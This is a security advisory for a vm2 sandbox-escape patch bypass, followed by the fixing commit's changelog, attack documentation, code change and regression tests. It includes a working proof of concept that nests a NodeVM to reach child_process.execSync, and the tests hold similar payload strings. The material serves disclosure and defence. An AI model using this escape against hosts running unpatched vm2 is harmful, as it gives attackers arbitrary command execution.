vm2 has a CVE-2023-37903 patch bypass: nesting:true without explicit require still allows full RCE
Description
Summary
The fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely.
When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent.
Root
Cause
// nodevm.js:263 — the security check
if (options.nesting === true && options.require === false) {
throw new VMError('...');
}
// nodevm.js:280 — the default assignment (AFTER the check)
const { require: requireOpts = false } = options;
// When options.require is undefined:
// - Line 263: undefined === false → FALSE → check skipped
// - Line 280: requireOpts = false → same as require:false
Impact
Full Remote Code Execution on the host system. An attacker running code inside a NodeVM({ nesting: true }) sandbox (without specifying require) can:
require('vm2')to get the vm2 library- Construct an inner
NodeVMwithrequire: { builtin: ['child_process'] } - Execute arbitrary OS commands via
child_process.execSync
The inner VM is completely unconstrained by the outer sandbox configuration.
Reproduction
const { NodeVM } = require('vm2');
// nesting:true, require not specified (defaults to false AFTER the check)
const nvm = new NodeVM({ nesting: true });
const result = nvm.run(`
const { NodeVM } = require('vm2');
const inner = new NodeVM({
require: { builtin: ['child_process'] }
});
module.exports = inner.run(
"module.exports = require('child_process').execSync('id').toString()",
'exploit.js'
);
`, 'exploit.js');
console.log(result); // prints host uid/gid — full RCE
Suggested
Fix
// Change the check to catch both false and undefined/omitted:
if (options.nesting === true && !options.require) {
throw new VMError('...');
}
Or move the check after the destructuring default assignment:
const { require: requireOpts = false } = options;
if (options.nesting === true && !requireOpts) {
throw new VMError('...');
}
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
The vm2 sandbox's NodeVM constructor bypasses its security check when require is omitted, allowing nested sandboxes to escape and achieve host RCE.
Vulnerability
The fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false using strict equality (options.require === false). This check is trivially bypassed when the require option is omitted entirely, because options.require is undefined, not false. The strict equality fails, so the guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact insecure configuration the patch was designed to prevent [1][2][4]. Affected versions are vm2 versions after the previous fix (CVE-2023-37903) up to and including 3.11.3; the vulnerability is fixed in vm2 3.11.4 [3].
Exploitation
An attacker who can execute code inside a NodeVM({ nesting: true }) sandbox (without specifying require) can exploit this bypass. The attacker calls require('vm2') to obtain the vm2 library, then constructs an inner NodeVM with require: { builtin: ['child_process'] }. The inner VM is completely unconstrained by the outer sandbox configuration. The attacker then executes arbitrary OS commands via child_process.execSync [1][4]. No authentication or special privileges are needed beyond the ability to run code in the outer sandbox.
Impact
Successful exploitation yields full Remote Code Execution (RCE) on the host system. The attacker gains the same privileges as the Node.js process, enabling arbitrary command execution, file system access, and potential lateral movement [4].
Mitigation
The vulnerability is fixed in vm2 version 3.11.4, released on 2026-05-29 [3]. Users must upgrade to 3.11.4 or later. No workaround is available for unpatched versions; the only safe mitigation is to apply the update immediately. This CVE is not listed in the Known Exploited Vulnerabilities (KEV) catalog.
AI Insight generated on May 29, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
2- Range: <= 3.11.3
Patches
286ab819f202cfix(GHSA-m4wx-m65x-ghrr): widen NESTING_OVERRIDE guard to all input shapes
4 files changed · +203 −73
CHANGELOG.md+2 −2 modified@@ -11,15 +11,15 @@ Ten advisories closed. Patch release — no API changes for valid configurations - **GHSA-v6mx-mf47-r5wg** — host prototype mutation via apply-trap indirection. Sandbox code could reach host prototype-mutating setters (`Object.prototype.__proto__`, `setPrototypeOf`, `defineProperty`, `__defineSetter__`/`__defineGetter__`) through `Function.prototype.{call,apply,bind}` and `Reflect.{apply,construct}` indirection, sever a host intrinsic's prototype chain, and escape via the bridge's `thisEnsureThis` proto-walk fallthrough. Two-layer structural fix in `lib/bridge.js` (apply-trap blocklist + cache check before proto-walk). See ATTACKS.md Category 30 and `test/ghsa/GHSA-v6mx-mf47-r5wg/`. - **GHSA-q3fm-4wcw-g57x** — Defense Invariant #11 hardening for `defaultSandboxPrepareStackTrace` (second variant of GHSA-9qj6-qjgg-37qq in a different file). The sandbox stack-trace formatter accumulated frames in a sandbox-realm array and `.join`-ed them, so a sandbox-installed setter on `Array.prototype[N]` (or `.join` override) observed bridge-internal state — no host reference reachable today, but one enrichment away from regressing into the GHSA-9qj6 RCE shape. Fixed in `lib/setup-sandbox.js` by folding frames through a primitive string accumulator (no `Array.prototype` slot reachable) and converting `makeCallSiteGetters` to `localReflectDefineProperty` for symmetry. See ATTACKS.md Category 28 Variant B and `test/ghsa/GHSA-q3fm-4wcw-g57x/`. - **GHSA-76w7-j9cq-rx2j** — Promise species hijack in the `localPromise` swallow tail. The swallow-tail `apply(globalPromisePrototypeThen, this, [...])` call inside `localPromise`'s constructor invoked the cached host `Promise.prototype.then` without first calling `resetPromiseSpecies(this)`, so a sandbox subclass overriding `[Symbol.species]` could redirect the downstream child constructor to a user function and capture V8's internal `(resolve, reject)` capability — delivering a raw host-realm error (RangeError from deep recursion + `e.stack`) to a sandbox collector and reaching the host `Function` constructor via `.constructor.constructor`. One-line fix in `lib/setup-sandbox.js` adds the missing `resetPromiseSpecies(this)` before the swallow-tail call, matching the pattern already used by the `.then`/`.catch`/`Reflect.apply` overrides. See ATTACKS.md Category 31 and `test/ghsa/GHSA-76w7-j9cq-rx2j/`. -- **GHSA-m4wx-m65x-ghrr** — patch bypass of GHSA-8hg8-63c5-gwmx. The original check `options.require === false` only rejected the literal `require: false` shape; omitting `require` entirely left `options.require === undefined`, the check fell through, and the destructuring default `require: requireOpts = false` a few lines down produced the same `requireOpts = false` the original patch existed to block — inner NodeVM construction with attacker-chosen `require` config → `child_process` RCE. Structural fix in `lib/nodevm.js`: destructure first, then check `nesting === true && !requireOpts`, so every falsy/omitted shape collapses to the same construction-time `VMError`. The explicit-`require`-config escape hatch is preserved. Supersedes GHSA-8hg8-63c5-gwmx. See ATTACKS.md Category 25 and `test/ghsa/GHSA-m4wx-m65x-ghrr/`. +- **GHSA-m4wx-m65x-ghrr** — NodeVM constructor patch bypass of GHSA-8hg8-63c5-gwmx: a truthy `nesting` paired with anything other than a real `require` config object produced a NESTING_OVERRIDE-only resolver → inner NodeVM with attacker-chosen `require` → `child_process` RCE. Structural fix in `lib/nodevm.js`: destructure first, then reject at construction whenever `nesting` is truthy and `requireOpts` is not a non-null object or `Resolver`. Supersedes GHSA-8hg8-63c5-gwmx. See ATTACKS.md Category 25 and `test/ghsa/GHSA-m4wx-m65x-ghrr/`. - **GHSA-6j2x-vhqr-qr7q** — sandbox escape via WebAssembly JSPI (Node 24 behind `--experimental-wasm-jspi`, Node 26+ default). `WebAssembly.promising` returns Promise objects whose `[[Prototype]]` chain points directly at the host realm's `Promise.prototype` with no bridge proxy in between, so `p.finally()` reaches host `Promise.prototype.finally`, V8's `SpeciesConstructor` reads an attacker-controlled `p.constructor` getter, and the eventual host-realm rejection is dispatched through the attacker's class with no bridge wrapping — `e.constructor.constructor('return process')()` then evaluates in the host realm. Structural fix in `lib/setup-sandbox.js`: delete `WebAssembly.promising` and `WebAssembly.Suspending` at sandbox bootstrap, mirroring the existing `WebAssembly.JSTag` removal. Adds Defense Invariant #12 (no sandbox-visible object may have a host-realm prototype chain without bridge interposition). See ATTACKS.md Category 33 and `test/ghsa/GHSA-6j2x-vhqr-qr7q/`. - **GHSA-rp36-8xq3-r6c4** — NodeVM builtin denylist bypass via `process` and `inspector/promises`. The exact-match denylist in `lib/builtin.js` missed two host-passthrough families: `process` (whose `getBuiltinModule(name)` reloads any core module regardless of the embedder's allow/deny configuration) and `inspector/promises` (whose `Session().post('Runtime.evaluate', ...)` evaluates attacker JS in the host realm). Structural fix promotes the check to family-prefix via `isDangerousBuiltin(key)`, strips the `node:` URL prefix, and adds `process` to the dangerous set — enforced at both `BUILTIN_MODULES` source and `addDefaultBuiltin`. Supersedes GHSA-947f-4v7f-x2v8. Adds Defense Invariant #13. See ATTACKS.md Category 21 (extended) and `test/ghsa/GHSA-rp36-8xq3-r6c4/`. - **GHSA-r9pm-gxmw-wv6p** — NodeVM `builtin: ['*']` wildcard exposed Node's undocumented underscored network builtins (`_http_client`, `_http_server`, the `_http_*` / `_tls_*` / `_stream_*` siblings), letting sandbox code make outbound HTTP requests and open listening sockets even when the documented `-http`/`-https`/`-net`/`-tls` exclusions were used — SSRF-class capability bypass (CVSS 8.6). Structural fix in `lib/builtin.js`: `BUILTIN_MODULES` filter now excludes any name starting with `_`, so `'*'` expands only to documented public builtins; explicit opt-in, `mock`, and `override` paths remain functional. See ATTACKS.md Category 34 and `test/ghsa/GHSA-r9pm-gxmw-wv6p/`. - **GHSA-9g8x-92q2-p28f** — NodeVM builtin allowlist surfaced four process-wide observability builtins (`diagnostics_channel`, `async_hooks`, `perf_hooks`, `v8`) that read state from the entire host process rather than the sandbox: HTTP `IncomingMessage` headers (incl. auth tokens) via `diagnostics_channel.subscribe`, embedder `AsyncLocalStorage` context via `async_hooks.executionAsyncResource`, embedder `performance.mark` labels via `perf_hooks`, and the full V8 heap via `v8.getHeapSnapshot` / `v8.queryObjects`. Fix in `lib/builtin.js`: extends `DANGEROUS_BUILTINS` with the four names, reusing the existing two-layer enforcement (`BUILTIN_MODULES` filter + `addDefaultBuiltin` rejection, family-prefix and `node:`-normalised via `isDangerousBuiltin`). `mock`/`override` escape hatches preserved. See ATTACKS.md Category 35 and `test/ghsa/GHSA-9g8x-92q2-p28f/`. ### Upgrade notes -- **If you constructed `NodeVM({ nesting: true })` without an explicit `require` config** (including omitting `require` entirely, or setting it to `undefined`/`null`/`0`/`''`), `new NodeVM(...)` now throws (GHSA-m4wx-m65x-ghrr). Either drop `nesting: true`, or pass an explicit `require` config object (e.g. `require: { builtin: [] }`) to acknowledge that vm2 will be requireable from inside the sandbox. The error message is actionable and links to the README hardening section. +- **If you constructed `NodeVM({ nesting: <truthy> })` without an explicit `require` config object**, `new NodeVM(...)` now throws (GHSA-m4wx-m65x-ghrr). This covers every shape that previously silently produced a `vm2`-only resolver: omitting `require` entirely, or setting it to any falsy value (`false`/`undefined`/`null`/`0`/`''`) or any truthy non-object value (`true`/number/string/symbol/function); and also any truthy `nesting` value, not only `nesting: true` (`1`/`'yes'`/`{}`/`[]`/function). Either drop `nesting`, or pass an explicit `require` config object (e.g. `require: { builtin: [] }`) to acknowledge that vm2 will be requireable from inside the sandbox. The error message is actionable and links to the README hardening section. ## [3.11.3]
docs/ATTACKS.md+24 −17 modified@@ -1850,24 +1850,23 @@ The race window between the canonicalization syscall and the subsequent loader s --- -## Attack Category 25: NodeVM `nesting: true` Configuration Trap (NESTING_OVERRIDE-only resolver) +## Attack Category 25: NodeVM `nesting` Configuration Trap (NESTING_OVERRIDE-only resolver) -**Supersedes**: GHSA-8hg8-63c5-gwmx's check on the raw `options.require === false` input, which only fired for the literal `require: false` shape and missed the much commoner "`require` omitted entirely" shape — see GHSA-m4wx-m65x-ghrr. +**Supersedes**: GHSA-8hg8-63c5-gwmx's check on the raw `options.require === false` input, which only fired for one syntactic shape and missed every other configuration that collapses to the same insecure resolver — see GHSA-m4wx-m65x-ghrr. ### Description -`NodeVM`'s `nesting: true` option injects a `NESTING_OVERRIDE` builtin that exposes the `vm2` package to sandbox code regardless of any other `require` configuration. The override is unconditional — it survives `require: false`, narrow `builtin` allowlists, and every other restriction the user might set. With `vm2` reachable, the sandbox constructs an inner `NodeVM` whose `require` config is **chosen by the sandbox code, not constrained by the outer config** (this is by design of `nesting`). The inner NodeVM can be configured with `child_process`, `fs`, or any other host module → full host RCE. +`NodeVM`'s `nesting` option (when truthy) injects a `NESTING_OVERRIDE` builtin that exposes the `vm2` package to sandbox code regardless of any other `require` configuration. The override is unconditional — it survives `require: false`, narrow `builtin` allowlists, and every other restriction the user might set. With `vm2` reachable, the sandbox constructs an inner `NodeVM` whose `require` config is **chosen by the sandbox code, not constrained by the outer config** (this is by design of `nesting`). The inner NodeVM can be configured with `child_process`, `fs`, or any other host module → full host RCE. -The trap is **any** `NodeVM` configuration where `nesting: true` is combined with a falsy/omitted `require`. `makeResolverFromLegacyOptions(falsy, NESTING_OVERRIDE, ...)` short-circuits on its `if (!options)` branch and returns a resolver whose only builtin is `vm2` — a pure escape primitive with no legitimate use: +The trap is **any** `NodeVM` configuration where a truthy `nesting` is combined with a `require` that isn't a real require-config object. Three input-shape classes all collapse to the same NESTING_OVERRIDE-only resolver: -- `{ nesting: true, require: false }` ← GHSA-8hg8-63c5-gwmx PoC (explicit deny + nesting) -- `{ nesting: true }` ← GHSA-m4wx-m65x-ghrr PoC (default require kicks in) -- `{ nesting: true, require: undefined }` ← destructuring default still applies -- `{ nesting: true, require: null }` ← `null` is also `!options`-truthy in resolver-compat +- **Falsy / omitted `require`** — `{ nesting: true }`, `{ nesting: true, require: false / undefined / null / 0 / '' }`. `makeResolverFromLegacyOptions(falsy, NESTING_OVERRIDE, …)` hits its `if (!options)` branch. +- **Truthy non-object `require`** — `{ nesting: true, require: true / 1 / 'yes' / Symbol() / function(){} }`. `makeResolverFromLegacyOptions` destructures every primitive/function value to all-`undefined`, then calls `makeBuiltinsFromLegacyOptions(undefined, …, NESTING_OVERRIDE)` — the same call shape the `if (!options)` branch produces. +- **Truthy non-`true` `nesting`** — `{ nesting: 1 / 'yes' / {} / [] / function(){}, require: false }`. The override gate inside the constructor is `nesting && NESTING_OVERRIDE`, which fires for ANY truthy value. -All four collapse to the same insecure resolver. The original GHSA-8hg8 patch tested only the first shape with strict equality on the raw input, leaving the other three as bypasses. +All shapes produce a resolver whose only builtin is `vm2` — a pure escape primitive with no legitimate use. The original GHSA-8hg8 patch tested only the literal `{ nesting: true, require: false }` shape with strict equality on the raw input, leaving every other path as a bypass. -CWE-284 (Improper Access Control). CWE-697 (Incorrect Comparison) for the GHSA-m4wx bypass specifically. +CWE-284 (Improper Access Control). CWE-697 (Incorrect Comparison) for the original GHSA-8hg8 check, which compared too narrowly against the set of values that reach the insecure resolver. ### Attack Flow @@ -1913,22 +1912,30 @@ The "mental-model mismatch" framing applies at two levels: the *configuration* t ### Mitigation -`NodeVM` constructor (`lib/nodevm.js`) destructures options first, then throws `VMError` when `nesting === true && !requireOpts`. The check now lives on the value that actually drives `makeResolverFromLegacyOptions`, so every falsy/omitted path collapses to the same rejection regardless of how the embedder wrote the option: +`NodeVM` constructor (`lib/nodevm.js`) destructures options first, then throws `VMError` when *any truthy `nesting`* is paired with a `requireOpts` that isn't a real require-config object (or a `Resolver` instance). The check lives on the value that actually drives `makeResolverFromLegacyOptions`, so every shape that collapses to the NESTING_OVERRIDE-only resolver collapses to the same rejection: ```javascript const { require: requireOpts = false, nesting = false, /* ... */ } = options; -if (nesting === true && !requireOpts) { - throw new VMError('NodeVM `nesting: true` requires an explicit `require` config. …'); +const hasRealRequireConfig = + requireOpts instanceof Resolver + || (typeof requireOpts === 'object' && requireOpts !== null); +if (nesting && !hasRealRequireConfig) { + throw new VMError('NodeVM `nesting` requires an explicit `require` config object. …'); } ``` -This restores **Defense Invariant: Configurations that produce a NESTING_OVERRIDE-only resolver must fail loudly at construction.** The escape hatch (`nesting: true` + an explicit `require` config object, even `{}`) continues to work — the developer's "I accept the trade-off" signal is visible in the call site. +The guard mirrors the actual reachability of the insecure resolver on two axes: + +- **`nesting` checked as truthy**, matching the `nesting && NESTING_OVERRIDE` gate that decides whether `vm2` is exposed. Covers `nesting: true / 1 / 'yes' / {} / [] / function(){}` uniformly. +- **`requireOpts` must be a non-null object** (or a custom `Resolver` instance). Primitives and functions all destructure to all-undefined inside `makeResolverFromLegacyOptions` and produce the insecure resolver, so they are rejected. + +This establishes **Defense Invariant: Configurations that produce a NESTING_OVERRIDE-only resolver must fail loudly at construction.** The escape hatch (any truthy `nesting` + an explicit `require` config object, even `{}` or `Object.create(null)`) continues to work — the developer's "I accept the trade-off" signal is visible in the call site. ### Detection Rules -- **`new NodeVM({ nesting: true, ... })`** with any falsy/omitted `require` setting — flagged at construction with `VMError` mentioning GHSA-m4wx-m65x-ghrr. +- **`new NodeVM({ nesting: <truthy>, ... })`** with `require` set to anything other than a non-null object (or `Resolver`) — flagged at construction with `VMError` mentioning GHSA-m4wx-m65x-ghrr. Covers `require: false / undefined / null / 0 / '' / true / 1 / 'yes' / Symbol() / function(){}` and `nesting` values `true / 1 / 'yes' / {} / [] / function(){}`. - **`new NodeVM({ nesting: true })`** with no `require` field at all — closed by GHSA-m4wx-m65x-ghrr (was the loophole the original GHSA-8hg8 fix left open). -- **Sandbox code containing `require('vm2')`** — only reachable when `nesting: true` *and* an explicit `require` config; almost always indicates an escape attempt unless the embedder explicitly built a VM-spawning host integration. +- **Sandbox code containing `require('vm2')`** — only reachable when `nesting` is truthy *and* an explicit `require` config object was supplied; almost always indicates an escape attempt unless the embedder explicitly built a VM-spawning host integration. ### Considered Attack Surfaces @@ -3103,7 +3110,7 @@ The most dangerous attacks combine multiple categories. Each pattern references | Array species self-return | set/defineProperty traps + neutralizeArraySpecies + SPECIES_ATTACK_SENTINEL | | Host prepareStackTrace fallback | Safe default always set; setter resets to safe default instead of `undefined` | | NodeVM `require.root` symlink bypass | `isPathAllowed` realpaths candidate before prefix check; `rootPaths` canonicalized at construction; deny-by-default if realpath throws | -| NodeVM `nesting: true` + falsy/omitted `require` config trap | Constructor destructures first, then throws `VMError` whenever `nesting === true && !requireOpts` (covers `require: false`, `undefined`, `null`, `0`, and the field being omitted). Citing GHSA-m4wx-m65x-ghrr (supersedes GHSA-8hg8-63c5-gwmx) and the README escape-hatch section | +| NodeVM `nesting` + non-config `require` trap (NESTING_OVERRIDE-only resolver) | Constructor destructures first, then throws `VMError` whenever `nesting` is truthy and `requireOpts` is not a non-null object or `Resolver`. Covers every value that collapses to the same insecure resolver: falsy `require` (`false`/`undefined`/`null`/`0`/`''`/omitted), truthy non-object `require` (`true`/number/string/symbol/function), and truthy non-true `nesting` (`1`/`'yes'`/`{}`/`[]`/function). Citing GHSA-m4wx-m65x-ghrr (supersedes GHSA-8hg8-63c5-gwmx) and the README escape-hatch section | | Sandbox-realm null-proto via bridge `from()` set-trap write-through (GHSA-9vg3-4rfj-wgcm) | `handleException` and sandbox-Promise.then onFulfilled use `ensureThis` (sandbox-realm passthrough); host-Promise rejection sanitiser composes `from()` outside `handleException` so the GHSA-mpf8 invariant still wraps host null-proto values | | Internal state probe via computed property access on `globalThis` (GHSA-2cm2-m3w5-gp2f) | Bootstrap script declares `let VM2_INTERNAL_STATE_…` at script-top so the binding lands in the context's `[[GlobalLexicalEnvironment]]`; transformer-emitted `${INTERNAL_STATE_NAME}.handleException(…)` resolves there as before, but `globalThis[k]`, `Reflect.get`, descriptor APIs, and own-property enumeration cannot reach it (the global object's own-key table no longer contains the entry). Supersedes the identifier-only mitigation of GHSA-wp5r-2gw5-m7q7 by closing the entire computed-key class structurally. | | Bridge-internal container via `Array.prototype[N]` setter (Category 28: GHSA-9qj6-qjgg-37qq Variant A + GHSA-q3fm-4wcw-g57x Variant B) | Variant A — `neutralizeArraySpeciesBatch` in `lib/bridge.js` writes saved entries via `thisReflectDefineProperty`; appended slot is an own data property and no sandbox-installed setter is invoked while the bridge holds raw saved state. Variant B — `defaultSandboxPrepareStackTrace` in `lib/setup-sandbox.js` accumulates frames in a string via primitive concatenation rather than an array, removing every reachable `Array.prototype` slot (index setter, getter, and `.join`); `makeCallSiteGetters` installs entries via `localReflectDefineProperty` for symmetry |
lib/nodevm.js+45 −28 modified@@ -269,37 +269,54 @@ class NodeVM extends VM { } = options; // SECURITY (GHSA-m4wx-m65x-ghrr, supersedes GHSA-8hg8-63c5-gwmx): - // `nesting: true` injects a NESTING_OVERRIDE builtin that exposes `vm2` to - // the sandbox. When `requireOpts` is also falsy, `makeResolverFromLegacyOptions` - // hits its `if (!options)` branch and builds a resolver whose ONLY builtin - // is `vm2` — a pure escape primitive (sandbox does `require('vm2')`, builds - // an inner NodeVM with attacker-chosen `require` config, reaches - // `child_process` for host RCE). + // A truthy `nesting` injects a NESTING_OVERRIDE builtin that exposes + // `vm2` to the sandbox. When `requireOpts` is not a real require-config + // object, `makeResolverFromLegacyOptions` produces a resolver whose ONLY + // builtin is `vm2` — a pure escape primitive (sandbox does + // `require('vm2')`, builds an inner NodeVM with attacker-chosen + // `require` config, reaches `child_process` for host RCE). // - // The check must run *after* destructuring and against `requireOpts`, not - // against the raw `options.require`, because the destructuring default - // (`require: requireOpts = false`) collapses every falsy/omitted path to - // the same insecure resolver: - // - `require: false` → requireOpts = false (GHSA-8hg8 PoC) - // - `require` omitted → requireOpts = false (GHSA-m4wx PoC) - // - `require: undefined` → requireOpts = false (default kicks in) - // - `require: null` / `0` / '' → requireOpts is null/0/'' - // All of them hit `if (!options)` in makeResolverFromLegacyOptions and - // produce the NESTING_OVERRIDE-only resolver. Use `!requireOpts` to reject - // every shape that yields that resolver; the documented escape hatch - // (`nesting: true` + an explicit `require` config object, even `{}`) - // continues to work — the developer's intent is then visible. - if (nesting === true && !requireOpts) { + // The guard mirrors the actual reachability of that insecure resolver + // on two axes: + // + // 1. `nesting` truthiness, not strict `=== true`. The override is gated + // a few lines below by `nesting && NESTING_OVERRIDE`, which fires for + // ANY truthy value (`1`, `'yes'`, `{}`, `[]`, etc.). The check must + // cover every truthy `nesting` value the override gate accepts. + // + // 2. `requireOpts` must be an actual require-config object (or a + // `Resolver` instance), not just "truthy". `makeResolverFromLegacyOptions` + // destructures every primitive/function value to all-`undefined` and + // falls into the same NESTING_OVERRIDE-only `if (!options)` branch as + // falsy values do. The shapes that collapse to the insecure resolver: + // - `require: false` / `undefined` / `null` / `0` / `''` + // → falsy → `if (!options)` branch + // - `require: true` / `1` / `'yes'` / `Symbol()` / `function(){}` + // → truthy non-object → destructured to all-undefined → + // `makeBuiltinsFromLegacyOptions(undefined, …, override)` → + // same NESTING_OVERRIDE-only resolver + // The documented escape hatch (a truthy `nesting` + an explicit + // `require` config object, even `{}`) continues to work — a non-null + // object counts as the developer's deliberate acknowledgment of the + // tradeoff. A custom `Resolver` instance is also accepted (the + // `customResolver` path below bypasses `makeResolverFromLegacyOptions` + // entirely, so NESTING_OVERRIDE is never injected into it). + const hasRealRequireConfig = + requireOpts instanceof Resolver + || (typeof requireOpts === 'object' && requireOpts !== null); + if (nesting && !hasRealRequireConfig) { throw new VMError( - 'NodeVM `nesting: true` requires an explicit `require` config. ' - + '`nesting: true` is an escape hatch that exposes `vm2` to the ' + 'NodeVM `nesting` requires an explicit `require` config object. ' + + '`nesting` is an escape hatch that exposes `vm2` to the ' + 'sandbox (sandbox code can `require(\'vm2\')` and construct nested ' - + 'VMs unconstrained by the outer config). With `require` falsy or ' - + 'omitted, the resolver exposes ONLY `vm2` — a pure escape primitive. ' - + 'To deny all requires, remove `nesting: true`. To allow nested VMs, ' - + 'pass an explicit `require` config (e.g. `require: { builtin: [] }`) ' - + 'so the tradeoff is visible. See README "`nesting: true` is an escape ' - + 'hatch". Context: GHSA-m4wx-m65x-ghrr (supersedes GHSA-8hg8-63c5-gwmx).' + + 'VMs unconstrained by the outer config). With `require` set to ' + + 'anything other than a config object (`false`, omitted, `true`, ' + + 'a number, a string, a function), the resolver exposes ONLY ' + + '`vm2` — a pure escape primitive. To deny all requires, remove ' + + '`nesting`. To allow nested VMs, pass an explicit `require` ' + + 'config (e.g. `require: { builtin: [] }`) so the tradeoff is ' + + 'visible. See README "`nesting: true` is an escape hatch". ' + + 'Context: GHSA-m4wx-m65x-ghrr (supersedes GHSA-8hg8-63c5-gwmx).' ); }
test/ghsa/GHSA-m4wx-m65x-ghrr/repro.js+132 −26 modified@@ -1,40 +1,54 @@ /** - * GHSA-m4wx-m65x-ghrr — GHSA-8hg8-63c5-gwmx patch bypass via omitted `require` + * GHSA-m4wx-m65x-ghrr — GHSA-8hg8-63c5-gwmx patch bypass: NodeVM `nesting` + * combined with anything other than a real `require` config object produces + * a NESTING_OVERRIDE-only resolver → host RCE. * * ## Vulnerability - * The GHSA-8hg8-63c5-gwmx fix added a guard at the top of `NodeVM`: * - * if (options.nesting === true && options.require === false) throw VMError(...) + * A truthy `nesting` injects a NESTING_OVERRIDE builtin exposing `vm2` to + * sandbox code. When `requireOpts` is not a real require-config object, + * `makeResolverFromLegacyOptions` produces a resolver whose ONLY builtin is + * `vm2` — a pure escape primitive. Sandbox code does `require('vm2')`, + * constructs an inner `NodeVM({ require: { builtin: ['child_process'] } })` + * whose config is *not* constrained by the outer VM, and reaches + * `child_process.execSync` for full host RCE. * - * The check used strict equality against the raw input `options.require`. - * `options.require === false` is only true when the embedder *explicitly* - * sets `require: false`. Omitting `require` entirely (the much more common - * case) leaves `options.require === undefined`, the check is skipped, and - * the destructuring default a few lines below (`require: requireOpts = false`) - * yields the exact `requireOpts = false` the patch was meant to prevent. + * Three input-shape classes all collapse to the same insecure resolver: * - * `makeResolverFromLegacyOptions(false, NESTING_OVERRIDE, ...)` then builds a - * resolver whose only builtin is `vm2`. Sandbox code does - * `require('vm2')`, constructs an inner `NodeVM({ require: { builtin: - * ['child_process'] } })` whose config is *not* constrained by the outer VM, - * and reaches `child_process.execSync` for full host RCE. + * A. **Falsy / omitted `require`** (`false`, `undefined`, `null`, `0`, + * `''`, or field omitted entirely) — `makeResolverFromLegacyOptions` + * hits its `if (!options)` branch. * - * Same insecure resolver is produced for: `require: false`, `require: undefined`, - * `require: null`, `require: 0`, `require: ''` — any falsy value, including - * "field omitted entirely". + * B. **Truthy non-object `require`** (`true`, `1`, `'yes'`, `Symbol()`, + * `function(){}`) — destructures to all-`undefined`, then calls + * `makeBuiltinsFromLegacyOptions(undefined, …, NESTING_OVERRIDE)` — + * the same call shape the falsy branch produces. + * + * C. **Truthy non-`true` `nesting`** (`1`, `'yes'`, `{}`, `[]`, + * `function(){}`) — the override gate below is + * `nesting && NESTING_OVERRIDE`, which fires for ANY truthy value, + * so any "I didn't really mean `true`" assignment still injects + * the override. + * + * GHSA-8hg8-63c5-gwmx's original check `options.require === false` only + * caught one syntactic shape from class A. The structural check below + * matches the actual reachability of the insecure resolver. * * ## Fix - * Move the check *after* destructuring and test the computed `requireOpts` - * with `!requireOpts` so every path that produces a NESTING_OVERRIDE-only - * resolver is rejected at construction: * - * const { require: requireOpts = false, nesting = false, ... } = options; - * if (nesting === true && !requireOpts) throw VMError(...) + * const hasRealRequireConfig = + * requireOpts instanceof Resolver + * || (typeof requireOpts === 'object' && requireOpts !== null); + * if (nesting && !hasRealRequireConfig) throw VMError(...) * - * This subsumes the GHSA-8hg8-63c5-gwmx fix: explicit `require: false`, - * omitted `require`, and any other falsy value all collapse to the same - * rejection. The escape hatch (`nesting: true` + an explicit `require` - * config object) continues to work — the developer's intent is visible. + * - `nesting` checked as truthy — matches the `nesting && NESTING_OVERRIDE` + * gate that decides whether `vm2` is exposed. + * - `requireOpts` must be a non-null object (or a custom `Resolver`). + * Primitives and functions all destructure to all-undefined inside + * `makeResolverFromLegacyOptions` and produce the insecure resolver. + * - The documented escape hatch (a truthy `nesting` + an explicit `require` + * config object, even `{}` or `Object.create(null)`) keeps working — + * non-null object means the developer acknowledged the tradeoff. */ 'use strict'; @@ -122,4 +136,96 @@ describe('GHSA-m4wx-m65x-ghrr — nesting:true without explicit require still RC assert.doesNotThrow(() => new NodeVM()); }); + // ─── Truthy non-true `nesting` must reject ────────────────────────────── + // + // The override gate is `nesting && NESTING_OVERRIDE`, which fires for any + // truthy value. The guard matches that, so every truthy `nesting` paired + // with a non-config `require` rejects at construction. + + const TRUTHY_NESTING = [ + ['number', 1], + ['string', 'yes'], + ['object', {}], + ['array', []], + ['fn', function(){}] + ]; + + for (const [label, value] of TRUTHY_NESTING) { + it(`rejects { nesting: <${label}>, require: false } (truthy non-true nesting)`, () => { + assert.throws( + () => new NodeVM({nesting: value, require: false}), + err => err instanceof VMError && /GHSA-m4wx-m65x-ghrr/.test(err.message), + `truthy nesting=${label} must reject — override gate is truthy, not ===true` + ); + }); + } + + it('truthy-nesting PoC (nesting:1) cannot reach require(\'vm2\')', () => { + // Full chained PoC for the truthy-nesting class — construction throws + // so vm.run never executes. + assert.throws(() => { + const vm = new NodeVM({nesting: 1, require: false}); + vm.run(` + const { NodeVM: NVM } = require('vm2'); + const inner = new NVM({ require: { builtin: ['child_process'] } }); + module.exports = inner.run('module.exports = require("child_process").execSync("echo PWN").toString().trim()'); + `); + }, err => err instanceof VMError && /GHSA-m4wx-m65x-ghrr/.test(err.message)); + }); + + // ─── Truthy non-object `require` must reject ──────────────────────────── + // + // Primitives and functions destructure to all-undefined inside + // `makeResolverFromLegacyOptions`, producing the same + // NESTING_OVERRIDE-only resolver as the falsy branch. The guard requires + // a non-null object (or a `Resolver` instance) to count as a real config. + + const TRUTHY_NONOBJECT_REQUIRE = [ + ['true', true], + ['number', 1], + ['string', 'truthy'], + ['symbol', Symbol('x')], + ['function', function(){}] + ]; + + for (const [label, value] of TRUTHY_NONOBJECT_REQUIRE) { + it(`rejects { nesting: true, require: <${label}> } (truthy non-object require)`, () => { + assert.throws( + () => new NodeVM({nesting: true, require: value}), + err => err instanceof VMError && /GHSA-m4wx-m65x-ghrr/.test(err.message), + `require=${label} destructures to all-undefined → same insecure resolver` + ); + }); + } + + it('truthy-require PoC (require:true) cannot reach require(\'vm2\')', () => { + // Full chained PoC for the truthy-non-object-require class — + // construction throws so vm.run never executes. + assert.throws(() => { + const vm = new NodeVM({nesting: true, require: true}); + vm.run(` + const { NodeVM: NVM } = require('vm2'); + const inner = new NVM({ require: { builtin: ['child_process'] } }); 